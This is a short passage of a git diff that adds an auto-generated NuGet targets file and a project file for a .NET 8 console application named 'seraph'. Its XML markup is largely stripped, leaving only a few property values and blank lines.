b/seraph/obj/seraph.csproj.nuget.g.targets new file mode 100644 index 0000000..3dc06ef --- /dev/null +++ b/seraph/obj/seraph.csproj.nuget.g.targets @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/seraph/seraph.csproj b/seraph/seraph.csproj new file mode 100644 index 0000000..1dcdc60 --- /dev/null +++ b/seraph/seraph.csproj @@ -0,0 +1,22 @@ + + + + Exe + net8.0 + enable + enable + + + + + + + + + + + + + + +